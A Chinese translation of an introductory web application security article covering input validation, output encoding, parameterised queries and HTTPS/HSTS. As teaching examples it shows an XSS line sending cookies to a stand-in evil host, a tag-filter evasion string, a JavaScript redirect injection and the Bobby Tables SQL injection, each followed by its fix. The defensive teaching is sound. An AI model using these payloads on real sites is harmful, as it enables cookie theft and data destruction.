Web 應用安全基礎

Web 應用安全基礎翻譯自The Basics of Web Application Security,從屬於筆者的網路信息安全攻防實戰。本文是筆者較早翻譯的一篇文章,在SF上也發布過,這裡重發下是為了知識體系的完備。需要強調的是,在筆者當時翻譯之後,原文也增加了部分章節,如果希望了解全部內容請移步原文閱讀。

現代的軟體開發者已經有點像瑞士軍刀了,首先,你需要來保證完成用戶的功能或者業務需求,並且要保證又快又好地完成。其次,你希望你的代碼能夠擁有充分的可理解性或者可擴展性:能夠隨著IT需求的快速變遷而有著充分的擴展空間,與此同時還需要穩定與可用。開發者必須列舉出有用的介面,優化資料庫,以及頻繁地建立或者維護一個交付渠道。不過,當我們審視這長長的需求列表的時候,在快速、低成本以及靈活可擴展之下的,即是安全性。或許直到一些東西出了問題,或者你構建的系統被攻擊了之後才能深刻感受到安全才是最重要的。安全這個概念有點像性能,是個泛化的跨越了多個領域的概念。所以一個開發者怎麼才能在模糊的安全需求與未知的風險面前選擇合適的開發規劃呢?當然如果能夠明確這些安全需求與定位到威脅的話毫無疑問非常值得推薦,但是這個準備本身就需要耗費大量的時間與金錢。

Trust(信賴)

首先,在討論具體的輸入輸出之前,我們需要來強調下自認為安全中最重要也是最根本的原則:Trust。作為一個開發者,也需要不斷地問自己,我們相信來自於用戶瀏覽器的請求嗎?我們相信上游系統正常工作來保證了我們數據的乾淨與安全嗎?我們相信伺服器與瀏覽器之間的信道就不會被監聽或者偽造嗎?我們相信我們系統本身依賴的服務或者數據存儲嗎?呵呵,都不可信。

當然,就像安全一樣,Trust也不是一個雙選題,非黑即白。我們需要明白系統的風險忍受力與數據的安全邊界。為了能夠正確的、基於某個統一規則的預估,我們需要審視威脅與風險,這個評估方法與標準會在另一篇文章中講解。

Reject Unexpected Form Input(拒絕未知的表單輸入)

HTML表單本身就可能帶來些好像很安全的錯覺,表單的構建者肯定覺得他們限制了輸入類型、做了數據校驗,這樣整個表單輸入就是安全的。但確信無疑的是,這只是個錯覺,儘管客戶端地JavaScript腳本可以從安全地角度來說提供完整的校驗。

Untrusted Input

無論我們是否在客戶端提供了表單驗證或者是否使用了HTTPs連接,我們能夠信賴來自用戶瀏覽器的連接的比例都是0。用戶可以輕易地在發送之前修改標記,或者使用類似於curl這樣的命令行來提交沒有經過校驗的數據。乃至於一個不明所以的用戶可能在一個懷有惡意的網站莫名其妙地添了些內容。瀏覽器的同源策略並不能夠避免來自於惡意站點的提交。為了保證輸入數據的完整性,伺服器端務必要進行數據校驗。

不過估計有人有疑問了,為啥說這個畸形的數據就會導致安全問題呢?這往往取決於你的應用業務邏輯與輸出的編碼,為了避免不可預知的行為、數據泄露與潛在攻擊,需要在輸入的數據與可執行代碼之間架構一個過濾層。譬如,我們的表單里有一個選擇的按鈕來允許用戶選擇合適的通信類型,我們的業務邏輯代碼可能是這樣的:

final String communicationType = req.getParameter("communicationType");nif ("email".equals(communicationType)) {n sendByEmail();n} else if ("text".equals(communicationType)) {n sendByText();n} else {n sendError(resp, format("Cant send by type %s", communicationType));n}n

上面代碼危不危險取決於sendError這個方法是怎麼定義的,而我們肯定無法確定下游的代碼就一定是安全的。最好的選擇就是我們在控制流中移除這個危險,而使用的方法就是輸入驗證。

Input Validation

輸入驗證即是保證實際輸入與應用預期的輸入的一致性。超出預期的輸入數據會導致我們系統拋出未知的結果,譬如邏輯崩壞、觸發錯誤乃至於允許攻擊者控制系統的一部分。其中像資料庫查詢這樣的能夠在服務端作為可執行代碼的輸入與JavaScript這樣在客戶端能夠被執行的代碼更是特別的危險。因此驗證輸入時保證系統安全性與防衛危險的第一道防線。

開發者們在構建應用系統的過程中會進行一些基本的驗證,譬如判斷值是否為空或者是否為正數。而從安全的角度考慮,我們需要將輸入限定到系統允許的最小集合中,譬如數值型值可以被限定在某個特定的範圍內。譬如,系統不會允許用戶將一個負值添加到購物車中。這種限制性的驗證手段就是所謂的positive validation或者whitelisting。一個白名單可以用於限定某個具體的URL或者yyyy/mm/dd這樣的時間日期。它可以限制輸入的長度、單個字元的編碼規範或者上面例子中的只有給定值可以被接受。

另外一種考慮輸入驗證的思維角度就是把它當做服務端與消費者之間簽訂的一種協議,任何違背了這個協議的請求都是無效的並且被拒絕。你的這個協議越嚴格,你的系統在未知情況下遭受的風險就會越小。而當對於某個輸入驗證失敗之後,開發者也要好好考慮應該如何反饋。最嚴格,也是最有爭議的辦法就是全部拒絕,並且沒有任何反饋,不過要注意將這個事情通過日誌或者監控記錄下來。不過為啥一點反饋都沒有呢?我們需要提供給用戶哪些信息是無效的嗎?這一點還是要取決於你的約定。在上面的例子中,如果你接收到了除了email或者text之外的內容,那你有可能被攻擊了。不過如果你進行了反饋,可能正中全套。譬如如果開發者直接返回:俺們並不認識你傳入的communicationType,可能這個還無傷大雅,但是如果是這樣的呢:

<script>new Image().src = 『http://evil.martinfowler.com/steal? + document.cookie</script>n

這種情況下你就會面臨一個用來盜取你的Cookies的XSS攻擊代碼,如果你一定要給用戶反饋,你必須保證不會把不受信任的用戶內容直接返回,而應該使用固定的提示信息。如果你不可避免地要把用戶的輸入反饋回去,你要保證它是被編碼的。

In Practice

實踐中,我們經常要通過過濾<script>標籤來避免一些攻擊,過濾掉這些包含著危險值的輸入的方法就是所謂的negative validation或者blacklisting。不過這種方法的麻煩之處在於潛在的危險輸入是相當多的,很多時候不能勝數。維持一個龐大的危險輸入的列表可能是耗費較大的操作,這需要進行頻繁地更新。如果你真的需要一個黑名單,這就需要覆蓋你所有的測試用例,編寫高質量的測試代碼,遵循OWASP的XSS_Filter_Evasion_Cheat_Sheet原則。

對於危險輸入的過濾,我們常常稱之為sanitization,即是在輸入中移除那些黑名單中的元素而不是直接拒絕。不過這種黑名單機制,很難保證完全正確,往往也會給攻擊者更多地漏洞機會。譬如,在上面的例子中,我們是選擇移除<script>標籤,而一個攻擊者可以通過輸入下面這樣的字元串來逃避檢查:

<scr<script>ipt>n

在現代的Web應用程序開發中,已經有很多現成的框架提供了基礎的過濾功能。內建的對於郵件地址、信用卡號碼等等過濾還是灰常好用的,使用這些網路框架提供的驗證機制可以有效避免一些嚴重的錯誤,譬如:

FrameworkApproachesJavaHibernate (Bean Validation)ESAPISpringBuilt-in type safe params in ControllerBuilt-in Validator interface (Bean Validation)Ruby on RailsBuilt-in Active Record ValidatorsASP.NETBuilt-in Validation (see BaseValidator)PlayBuilt-in ValidatorGeneric JavaScriptxss-filtersNodeJSvalidator-jsGeneralRegex-based validation on application inputs

In Summary

  • 儘可能地使用白名單

  • 在不能用白名單的時候用黑名單

  • 儘可能地使用嚴格約定

  • 確保警示潛在的攻擊

  • 避免直接地輸入反饋

  • 儘可能地在不可信數據深入系統邏輯之前進行處理,或者直接使用你的框架的白名單機制

Encode HTML Output:HTML輸出內容編碼

除了上述所說的對於輸入的過濾與限制之外,Web應用的開發者還需要關注返回的數據。一個現代的Web應用往往會用HTML標記來構建文檔結構,用CSS來構建文檔樣式,JavaScript來構建應用邏輯。一個HTML文檔通常使用像<script>或者<style>這樣的標記來進行切割。用戶可能在沒料到的地方使用尖括弧,特別是在一個可執行的上下文中附著一些特定內容,譬如HTML與JavaScript都會包含URL,只不過它們各有各的處理方法。

Output Risks

HTML本身是一個非常非常寬鬆自由的格式,瀏覽器會儘可能地來渲染內容,即使發現了些格式錯誤。這一點對於開發者非常友好,不過這也是一個很大的漏洞的源泉。攻擊者可能在向你的頁面中注入一些內容來打破可執行的上下文,甚至不需要考慮整個頁面是否有效。處理輸出內容並不一定是安全地考慮,應用從資料庫與上游服務中獲取的渲染數據務必保證不會影響到整個應用,不過從不可信的數據源得到的渲染內容還是會存在很大的風險。就如上文所說的,開發者應該拒絕那些超出約定的輸入,不過有時候我們不可避免的需要接收像尖括弧那樣的可能更改我們的代碼的內容,這也就是下面所說的output encoding所需要起作用的地方。

Output Encoding

輸出編碼即是將輸出的數據流轉化為最終的輸出的格式,輸出編碼的難點或者複雜的地方在於需要根據輸出數據流向的不同選定不同的編碼方式。如果沒有合適的編碼方式,應用可能會給客戶端提供一個錯誤格式的數據,導致輸出數據不可用乃至於存在一定風險。攻擊者往往會利用錯誤的編碼方式中的漏洞使得整個輸出數據的結構失控。譬如在我們的電商系統中有個用戶叫做Sandra Day OConnor,系統會在該用戶登錄的時候輸出一個歡迎辭,那麼當她的名字渲染到HTML頁面上的時候,效果大概是這樣的:

<p>The Honorable Justice Sandra Day OConnor</p>nnThe Honorable Justice Sandra Day OConnorn

開發者期望的正是這樣渲染得出的界面,不過如果我們是基於MVC架構開發出了一個動態網頁,名字會通過JS腳本動態地插入到頁面中,示例代碼如下:

document.getElementById(name).innerText = Sandra Day OConnor //<--unescaped stringn

而這樣的代碼正是攻擊者們孜孜不倦尋找的漏洞點來執行他們的自定義代碼,如果另一個用戶Chief Justice這樣的輸入他的名字:

Sandra Day O;window.location=http://evil.martinfowler.com/;n

那麼所有看到他名字頁面的用戶都會被重定向到一個危險的站點,而如果我們應用正確地在這個JS上下文中進行了編碼,整個編碼之後的文本如下所示:

Sandra Day O;window.location=http://evil.martinfowler.com/;n

那麼整個文本雖然看上去有點雜亂,但是已經變成了沒有任何危害的不可執行的代碼。一般來說我們有很多種方式可以來對JS進行編碼,最常見的就是使用轉義字元。

好消息是絕大部分現代Web框架都提供了將內容安全編碼與過濾保留字元的功能。不過大部分開發者會忽略乃至於主動關閉這種過濾編碼功能從而去執行他們自認為的安全的可執行代碼。

Cautions and Caveats

關於輸出編碼這部分還有幾個需要了解的地方,重要的事情多強調幾遍,一定要選擇一個自帶編碼功能的框架。另外還需要注意的是,儘管一個框架可以安全地渲染HTML,也不代表他可以安全地渲染PDF或者JavaScript。

另一個我們在應用開發過程中經常遇到的情況,就是很多開發者習慣在獲取用戶的原始輸入後進行編碼然後存入資料庫中。譬如如果你在將數據入庫之前就把純文本格式的數據編碼成HTML格式,然後在需要渲染成其他格式的地方還需要先把HTML反編碼然後再編譯成其他格式。這無端會增加很多複雜性和額外的工作,因此最好直接以原始數據格式存入到資料庫中,然後在渲染時在將它們進行編碼。

In Summary

  • 以合適的編碼手段對所有從應用中吐出的數據進行編碼

  • 儘可能地使用框架提供的輸出編碼功能

  • 盡量避免嵌入式渲染上下文

  • 以原始格式存放數據,在渲染時進行編碼

  • 避免使用不安全的框架與規避了編碼的JS調用

Bind Parameters for Database Queries

不管你是用SQL在一個關係型資料庫中進行查詢,還是用ORM框架,或者直接使用一個NoSQL資料庫,你都需要考慮到怎麼把用戶輸入的數據集成進你的查詢語句中。資料庫可能是一個Web應用程序中最關鍵與緊要的部分,因為它存放了大量的無法重現的狀態數據。譬如一個資料庫中可能存放著大量的關鍵的與敏感的客戶信息,也正是這些數據驅動著整個應用與邏輯的運行。因此你肯定希望開發者在和資料庫打交道的時候要慎之又慎,不過資料庫注入攻擊還是很盛行啊。

Little Bobby Tables

很多關於資料庫中參數綁定的討論都會包含著名的2007年的Little Bobby Tables事件,這個事件可以用一個漫畫描述如下:

為了便於分析這個漫畫所要表達的含義,我們假設這個成績追蹤系統有一個用於增加新的學生信息的函數:

void addStudent(String lastName, String firstName) {n String query = "INSERT INTO students (last_name, first_name) VALUES ("n + lastName + ", " + firstName + ")";n getConnection().createStatement().execute(query);n}n

如果輸入的參數是"Fowler"與"Martin",那麼最終構造出的SQL語句為:

INSERT INTO students (last_name, first_name) VALUES (Fowler, Martin)n

不過如果輸入的是上面那娃的名字,那麼整個待執行的SQL語句就變成了:

INSERT INTO students (last_name, first_name) VALUES (XKCD, Robert』); DROP TABLE Students;-- )n

實際上,這個SQL語句一共執行了兩個操作:

INSERT INTO students (last_name, first_name) VALUES (XKCD, Robert)nnDROP TABLE Studentsn

最後的--注釋是為了屏蔽餘下的內容,保證整個SQL語句能夠穩定執行。類似於這樣的攻擊載荷能夠執行任意的SQL語句,換言之,攻擊者能夠在資料庫內像這個應用系統一樣做任何事情。

採用參數綁定來解決這個問題

對於上文描述的這種場景,如果只是依賴於簡單的清洗過濾,肯定無法應付所有的攻擊載荷,這也不是一個正道。基本上能夠採取的方法就是所謂的參數綁定,譬如JDBC中提供的PreparedStatement.setXXX()方法,參數綁定可以將像SQL這樣的可執行代碼與需要進行編碼、過濾的內容區分開來:

void addStudent(String lastName, String firstName) {n PreparedStatement stmt = getConnection().prepareStatement("INSERT INTO students (last_name, first_name) VALUES (?, ?)");n stmt.setString(1, lastName);n stmt.setString(2, firstName);n stmt.execute();n }n

一般來說,一個功能比較全面地數據訪問層都會提供這種參數綁定的功能,開發者在開發的時候就要注意將所有的不受信任的輸入通過參數綁定生成SQL語句。

Clean and Safe Code

有時候我們開發時會遇到一個兩難的問題,即是好的安全性與乾淨整潔的代碼之間的衝突。為了保證安全性往往需要我們增加些額外的代碼,不過在上面的例子中我們還是同時達成了較高的安全性與好的代碼設計。使用綁定的參數不僅能使應用系統免於注入攻擊,還能通過在代碼與內容之間構建清晰的邊界來增加整個代碼的可讀性,並且與手動拼接相比還能大大簡化構造可用的SQL的過程。當你用參數綁定來代替原本的格式化字元串或者字元串拼接來構造SQL的時候,你會發現還能用全局的綁定方程來完成這一工作,這又會大大增加整個代碼的整潔度與安全性。

Common Misconceptions

有一個常見的錯誤思維就是覺得存儲過程能夠避免SQL注入攻擊,但是這個只有在你是通過參數綁定的方式傳入參數的情況下。如果存儲過程本身也是用的字元串連接的方式,那麼同樣存在SQL注入攻擊的風險。類似的,像ActiveRecord、Hibernate或者.Net Entity這樣的框架,也是只有在用參數綁定來構造SQL的情況下才會進行SQL注入清洗。

最後,還有一個常見的錯覺就是NoSQL資料庫不會被SQL注入攻擊影響。這肯定是不對的,所有的查詢語言,無論是不是SQL都需要在可執行代碼與輸入的內容之間劃定明晰的邊界來防止參數混淆可執行的命令。攻擊者會不停尋找能夠在運行時打破這種邊界隔離的方法從而進行潛在的攻擊。即使是Mongodb,採用了二進位的協議與多種語言特定的API都會存在被注入的風險,譬如$where這個操作符。

Parameter Binding Functions

FrameworkEncodedDangerousRaw JDBCConnection.prepareStatement() used with setXXX() methods and bound parameters for all input.Any query or update method called with string concatenation rather than binding.PHP / MySQLiprepare() used with bind_param for all input.Any query or update method called with string concatenation rather than binding.MongoDBBasic CRUD operations such as find(), insert(), with BSON document field names controlled by application.Operations, including find, when field names are allowed to be determined by untrusted data or use of Mongo operations such as "$where" that allow arbitrary JavaScript conditions.CassandraSession.prepare used with BoundStatement and bound parameters for all input.Any query or update method called with string concatenation rather than binding.Hibernate / JPAUse SQL or JPQL/OQL with bound parameters via setParameterAny query or update method called with string concatenation rather than binding.ActiveRecordCondition functions (find_by, where) if used with hashes or bound parameters, eg: where (foo: bar)where ("foo = ?", bar)Condition functions used with string concatenation or interpolation: where("foo = #{bar}")where("foo = " + bar + "")

In Summary

  • 避免直接從用戶的輸入中構建出SQL或者等價的NoSQL查詢語句

  • 在查詢語句與存儲過程中都使用參數綁定

  • 儘可能使用框架提供好的原生的綁定方法而不是用你自己的編碼方法

  • 不要覺得存儲過程或者ORM框架可以幫到你,你還是需要手動調用存儲過程

  • NoSQL 也存在著注入的危險

Protect Data in Transit

當我們著眼於系統的輸入輸出的時候,還有另一個重要的店需要考慮進去,就是傳輸過程中數據的保密性與完整性。在使用原始的HTTP連接的時候,因為伺服器與用戶之間是直接進行的明文傳輸,導致了用戶面臨著很多的風險與威脅。攻擊者可以用中間人攻擊來輕易的截獲或者篡改傳輸的數據。攻擊者想要做些什麼並沒有任何的限制,包括竊取用戶的Session信息、注入有害的代碼等,乃至於修改用戶傳送至伺服器的數據。

我們並不能替用戶選擇所使用的網路,他們很有可能使用一個開放的,任何人都可以竊聽的網路,譬如一個咖啡館或者機場裡面的開放WiFi網路。普通的用戶很有可能被欺騙地隨便連上一個叫免費熱點的網路,或者使用一個可以隨便被插入廣告的網路當中。如果攻擊者會竊聽或者篡改網路中的數據,那麼用戶與伺服器交換的數據就好不可信了,幸好我們還可以使用HTTPS來保證傳輸的安全性。

HTTPS and Transport Layer Security

HTTPS最早主要用於類似於經融這樣的安全要求較高的敏感網路,不過現在日漸被各種各樣的網站鎖使用,譬如我們常用的社交網路或者搜索引擎。HTTPS協議使用的是TLS協議,一個優於SSL協議的標準來保障通信安全。只要配置與使用得當,就能有效抵禦竊聽與篡改,從而有效保護我們將要去訪問的網站。用更加技術化的方式說,HTTPS能夠有效保障數據機密性與完整性,並且能夠完成用戶端與客戶端的雙重驗證。

隨著面臨的風險日漸增多,我們應該將所有的網路數據當做敏感數據並且進行加密傳輸。已經有很多的瀏覽器廠商宣稱要廢棄所有的非HTTPS的請求,乃至於當用戶訪問非HTTPS的網站的時候給出明確的提示。很多基於HTTP/2的實現都只支持基於TLS的通信,所以我們現在更應當在全部地方使用HTTPS。

目前如果要大範圍推廣使用HTTPS還是有一些障礙的,在一個很長的時間範圍內使用HTTPS會被認為造成很多的計算資源的浪費,不過隨著現代硬體與瀏覽器的發展,這點計算資源已經不足為道。早期的SSL協議與TLS協議只支持一個IP地址分配一個整數,不過現在這種限制所謂的SNI的協議擴展來解決。另外,從一個證書認證機構獲取證書也會打消一些用戶使用HTTPS的念頭,不過下面我們介紹的像Lets Encrypt這樣的免費的服務就可以打破這種障礙。

Get a Server Certificate

對於網站的安全認證依賴於TLS的底層的支持,如果客戶端只是根據網站說它自己是誰就是誰,那麼攻擊者可以輕易的使用中間人攻擊來模擬站點,從而繞過所有協議提供的安全機制。在使用了TLS協議之後,一個網站可以用它的公鑰證書來證明它自己是誰。在某些系統中客戶端也需要用公鑰證書證明自己是誰,不過大部分情況下受限於為用戶管理證書的複雜性,這個並沒有廣泛使用。除非一個網站證書的真實性已經經過了驗證,不然客戶端在收到一個證書的時候也要通過一定的手段來驗證證書的真實性。而在Web瀏覽器或者其他的應用中,往往是通過一個第三方的稱作CA的機構來管理證書並且提供驗證功能,包括驗證這個證書與證書所屬網站的真實性。

如果我們通過其他渠道已經能夠提前得知某個證書是否可信,那也就沒必要再經過第三方機構進行仲裁。譬如一個移動APP或者其他應用在分發的時候就會內置一些證書從而在使用時來驗證站點是否真實可信。大部分關於HTTPS是否可信的指示會在瀏覽器訪問某個HTTPS的站點的時候顯示出來,如果沒有的話瀏覽器會顯示一個告警信息來警告用戶不要訪問不可信的站點。

在測試的時候我們可以自己創建配置一個證書用於HTTPS認證,不過如果你要提供服務給普通用戶使用,那麼還是需要從可信的第三方CA機構來獲取可信的證書。對於很多開發者而言,一個免費的CA證書是個不錯的選擇。當你搜索CA的時候,你可能會遇到幾個不同等級的證書。最常見的就是Domain Validation(DV),用於認證一個域名的所有者。再往上就是所謂的Organization Validation(OV)與Extended Validation(EV),包括了驗證這些證書的請求機構的信息。雖然高級別的證書需要額外的消耗,不過還是很值得的。

Configure Your Server

當你申請到了證書之後,你就可以開始配置你的伺服器支持HTTPS了。雖然HTTPS啊,包括TLS/SSL的原理好像要個密碼學的PHD學位才能理解,但是要把他們配置著用起來還是很容易的呦。不同的加密演算法與站點使用的協議的版本差異會大大影響到它能夠提供的通信的安全級別。所以咋才能一方面保證我們站點的安全性另一方面又保證那些使用老版本的瀏覽器的用戶也能正常使用網站服務呢?這裡要推薦下Mozilla提供的Security/Server Side TLS工具,可以協助來自動創建適用的Web伺服器的配置。

Use HTTPS for Everything

現在我們經常碰到一些網站僅僅只用HTTPS來保護部分資源,有些情況下只會保護一些對於敏感資源的提交操作。另一些情況下,部分網站只會將HTTPS用於自認為敏感的資源上,譬如一個用戶登錄之後才能見到的東西往往是HTTPS加密的。而現在的麻煩事還有很多站點並未使用HTTPS來保護自己,導致整個網站還處於被中間人攻擊的危險之下。筆者很是建議這類網站應該直接關閉掉HTTP埠從而強制性讓用戶轉到HTTPS,雖然這並不是一個理想的解決方案,不過估計是最好的解決方法。

如果是在Web瀏覽器中呈現的資源,那可以添加一個HTTP請求轉發的配置,來將所有的HTTP請求轉發到HTTPS埠上,譬如:

# Redirect requests to /content to use HTTPS (mod_rewrite is required)nRewriteEngine OnnRewriteCond %{HTTPS} != on [NC]nRewriteCond %{REQUEST_URI} ^/content(/.*)?nRewriteRule ^ https://%{SERVER_NAME}%{REQUEST_URI} [R,L]n

Use HSTS

讓用戶從HTTP遷移到HTTPS可以來避免使用原始的HTTP請求帶來的風險。為了幫助站點把用戶從HTTP遷移到HTTPS,現代的瀏覽器支持一個非常強力的安全特徵叫做HSTS(HTTP Strict Transport Security),來告訴瀏覽器我這個站點只會接收來自於HTTPS的請求。這個特性最早來自於2009年的Moxie Marlinspikes提出的一個用於演示基於HTTP的潛在危險的SSL剝離攻擊。可以用如下的設置來啟用這個特性:

Strict-Transport-Security: max-age=15768000n

上述的設置會告訴瀏覽器只和使用HTTPS的站點進行交互,HSTS是一個非常重要的強制使用HTTPS的特性。一旦開啟之後,瀏覽器會自動把不安全的HTTP請求切換到HTTPS,儘管用戶沒有顯式的輸入"https://"。而在瀏覽器端開啟HSTS特性只需要添加如下的一行代碼:

<VirtualHost *:443>n ...nn # HSTS (mod_headers is required) (15768000 seconds = 6 months)n Header always set Strict-Transport-Security "max-age=15768000"n</VirtualHost>n

不過現在並不是所有的瀏覽器都支持HSTS特性,你可以通過訪問 Can I use. 來看看你面向的用戶常用的瀏覽器能不能使用。

Protect Cookies

瀏覽器目前有內建的安全機制來避免包含敏感信息的Cookie暴露出來。在Cookie中設置secure標識位能夠強制讓瀏覽器只會用HTTPS來傳遞Cookie,如果你已經使用了HSTS也要記得這樣設置來保護Cookie。

Other Risks

即使你全站都用了HTTPS,也還是有幾個地方可能導致敏感信息的泄露的。譬如如果你直接把敏感數據放在URL裡面,然後這個敏感的URL又被緩存在了瀏覽器的歷史記錄里。除此之後,如果包含了敏感信息的站點被鏈接到了其他的網站中,那麼在用戶點擊鏈接之後整個敏感數據就會被放在Referer Header中然後傳送過去,然後就呵呵了。另外,有時候因為大家都懂的原因我們會使用一些代理然後允許他們監控HTTPS的流量,也是有危險地,這個時候就要在Header中來關閉緩存從而降低風險。筆者建議你可以參考OWASP Transport Protection Layer Cheat Sheet 來收穫一些有用的建議。

Verify Your Configuration

最後一步,你要仔細驗證你的配置是否有效。有很多的在線工具可以幫你做這件事,譬如SSL Lab的SSL Server Test能夠幫你深度分析你的HTTPS的配置,再看看是不是有啥地方配錯了。這個工具會在發現了新的攻擊手段與協議更新之後實時更新,所以多用用它還是個很不錯的事情嗷。

In Summary

  • 啥地方都要用HTTPS

  • 採用HSTS來強制使用HTTPS

  • 別忘了從可信的證書機構中請求可信證書

  • 不要亂放你的私鑰

  • 用合理的配置工具來生成可靠地HTTPS配置

  • 在Cookie中設置"secure"標識

  • 不要把敏感的數據放在URL中

  • 隔一段時間就要好好看看你的HTTPS的配置,表過時了

推薦閱讀:

狄仁傑探案之「永恆之藍」
對比特幣挖礦木馬分析研究和清除
攜程新風控數據平台建設
卡巴斯基發布2018年威脅預測,威脅情報共享成網路安全新趨勢

TAG:网络安全 | Web开发 |